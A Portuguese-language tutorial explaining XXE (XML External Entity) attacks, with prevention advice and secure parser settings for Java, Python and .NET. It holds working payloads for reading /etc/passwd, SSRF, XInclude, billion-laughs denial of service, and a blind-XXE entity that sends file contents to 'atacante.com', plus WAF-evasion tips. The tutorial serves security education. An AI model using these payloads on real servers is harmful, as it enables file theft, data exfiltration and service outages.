XXE - External XML Entity

O que é um ataque XXE?

O ataque XXE (XML External Entity) é uma vulnerabilidade de segurança que afeta aplicativos que processam dados XML de forma insegura. Ele ocorre quando um parser XML (analisador de XML) permite a definição e o uso de entidades externas, o que pode ser explorado por um atacante para obter acesso não autorizado a arquivos internos, realizar varreduras internas de rede, ou mesmo executar comandos de forma remota.

O que são XML Entities?

XML (eXtensible Markup Language) permite a definição de entities para reutilizar texto ou referenciar recursos externos. As external entities são entidades que podem carregar dados de arquivos ou URLs.

Como são feitos os ataques de XXE?

O ataque de XXE pode ser explorado de várias maneiras, dependendo de como o analisador XML do aplicativo é configurado e como a resposta é renderizado no lado do cliente. Alguns dos vetores desta exploração incluem a saída dos aplicativos, avaliação de backend e interação externa

Exemplo de entity interna:

<!ENTITY exemplo "Texto reutilizável">
<root>
    &exemplo;
</root>

Exemplo de entity externa:

<!DOCTYPE root [
    <!ENTITY external SYSTEM "file:///etc/passwd">
]>
<root>
    &external;
</root>

Possível retorno:

<root>
    root:!:0:0::/:/usr/bin/ksh
    daemon:!:1:1::/etc:
    bin:!:2:2::/bin:
    sys:!:3:3::/usr/sys:
    adm:!:4:4::/var/adm:
    ...
    guest:!:100:100::/home/guest:
    user:/var/spool/uucppublic:/usr/sbin/uip
    testuser:!:201:1::/home/testuser:/usr/bin/ksh
    jdoe:*:202:1:John Doe:/home/jdoe:/usr/bin/ksh
</root>

Usando nomes de arquivos comuns, o invasor pode colocar as mãos em outras informações confidenciais do servidor.

Vetores/Superfície de Ataque

XXE ocorre quando um parser XML mal configurado processa entidades externas. Os principais vetores incluem:

  • Upload de arquivos XML maliciosos

  • Integrações de Web Services (SOAP, REST que aceitam XML)

  • APIs que processam XML de forma insegura

  • Injeção via cabeçalhos HTTP se o servidor aceitar XML

Tipos de XXE

1 Retorno de Arquivo

O atacante recupera arquivos sensíveis do sistema.

<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    &xxe;
</root>

Impacto: Exposição de credenciais e informações sensíveis.

2️ Blind XXE

A resposta não retorna diretamente o conteúdo, mas pode ser enviada para um servidor externo.

<!DOCTYPE foo [
    <!ENTITY % ext SYSTEM "file:///etc/passwd">
    <!ENTITY % send SYSTEM "http://atacante.com/?data=%ext;">
]>
<root>&send;</root>

Impacto: Exfiltração silenciosa de informação.

3️ XInclude Attack

Algumas aplicações bloqueiam entidades externas, mas permitem XInclude.

<root xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="file:///etc/passwd" parse="text"/>
</root>

Impacto: Similar ao XXE, usado como alternativa caso entidades externas estejam desativadas.

4 DoS - Ataque Billion Laughs

<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>

Impacto: Pode travar o servidor com uso intensivo de CPU/memória.

5 SSRF com XXE

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://localhost:8080/admin">
]>
<root>&xxe;</root>

Impacto: Acesso indevido a serviços internos via requisições do servidor.

Ofuscação de Payloads

Alguns WAFs e parsers bloqueiam , mas é possível contornar com:

  • Codificação hexadecimal ou base64

  • Uso de CDATA

  • Divisão de entidades em múltiplas linhas

  • Encadeamento de entidades internas

Casos Reais

  • CVE-2017-12629 – Apache Solr XXE levando a RCE

  • CVE-2017-10271 – Oracle WebLogic com XXE + RCE

  • CVE-2013-1664 – Ruby on Rails vulnerável a XXE

Mitigação/Prevenção

Como verificar se o servidor está vulnerável?

  • Testar com um XML malicioso e verificar a resposta

  • Analisar configurações do parser XML usado

  • Usar ferramentas como Burp Collaborator para exfiltração de dados (Blind XXE)

Boas práticas de prevenção

  • Desativar entidades externas no parser XML.

  • Usar bibliotecas seguras: Algumas versões modernas bloqueiam XXE por padrão.

  • Validar input: Não confiar em XML externo.

Configuração segura para parsers:

Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Python (lxml):

parser = etree.XMLParser(resolve_entities=False)

.NET:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;

🛠️ Ferramentas para Testes

  • Burp Suite (Scanner de XXE)

  • XXEinjector (Automatiza testes de XXE)

  • Nmap (Scripts NSE para detectar XXE)

  • SecLists (Lista de payloads de XXE)

Atualizado